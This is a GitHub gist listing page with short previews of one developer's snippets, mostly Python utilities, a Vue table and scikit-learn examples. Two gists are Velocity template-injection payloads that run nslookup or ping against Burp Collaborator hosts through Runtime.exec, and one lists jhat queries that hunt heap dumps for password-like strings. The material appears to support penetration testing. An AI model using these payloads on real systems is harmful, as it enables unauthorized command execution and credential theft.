Skip to content

Instantly share code, notes, and snippets.

🎯
Focusing

Damian Schwyrz Damian89

🎯
Focusing
Block or report user

Report or block Damian89

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View cidr-to-iplist.py
#!/usr/bin/env python
from netaddr import IPNetwork
import sys
from random import shuffle
if len(sys.argv) != 3:
sys.exit("Input and output file is needed")
file_with_cidr_data = sys.argv[1]
View jhat base searches
select {o: s,val:s.value.toString()} from java.lang.String s
where
/^[0-9A-Za-z!\\\/\"\?/+=;\&\(\)\[\]\.:-_@\'\#\*]{5,15}$/.test(s.value.toString())
select {o: s,val:s.value.toString()} from java.lang.String s
where
/^[0-9A-Za-z!\\\/\"\?/+=;\&\(\)\[\]\.:-_@\'\#\*]{19,31}$/.test(s.value.toString())
select {o: s,val:s.value.toString()} from java.lang.String s
where
View gist:c50be18e315c89fe45c0c1a72cade91e
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("nslookup d3hsdhigq84cwt9q1dulfgvylprff4.burpcollaborator.net")
View gist:c171b9b040cfc77cbd5fb7fd0510e502
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("ping 7hpnnj0v6uf2ks8swrbnymr5xw3ord.burpcollaborator.net")
@Damian89
Damian89 / app.js
Created Nov 27, 2017
Sortable table with VueJS
View app.js
/*
* Author: Damian Schwyrz <mail@damianschwyrz.de>
* URL: https://www.damianschwyrz.de
* Copyright (c) 2017.
*/
/**
* Main table component
*/
Vue.component('table-keywords', {
View gist:cfecbd2ce97f049cf9e20402774599cf
<!doctype html>
<!--
~ Author: Damian Schwyrz <mail@damianschwyrz.de>
~ URL: https://www.damianschwyrz.de
~ Copyright (c) 2017.
-->
<html lang="">
<head>
<meta charset="utf-8">
View sklearn-one-method-git.py
preprocessor = pipeline.Pipeline(
[
('ss', preprocessing.StandardScaler()),
('ex', preprocessing.PolynomialFeatures(degree=3)),
]
)
View gridsearchcv.py
import pandas
# Einlesen der Datei
training_data = pandas.read_csv("data/numerai_training_data.csv")
# Die ersten 5 Zeilen samt Header ausgeben
print(training_data.head())
# Aus wie vielen Zeilen und Spalten besteht die Datei?
print(training_data.shape)
View example_tfidf.py
import warnings
from sklearn import ensemble
warnings.filterwarnings("ignore")
features = [
[1, 1, 0],
[1, 1, 0],
[1, 1, 0],
You can’t perform that action at this time.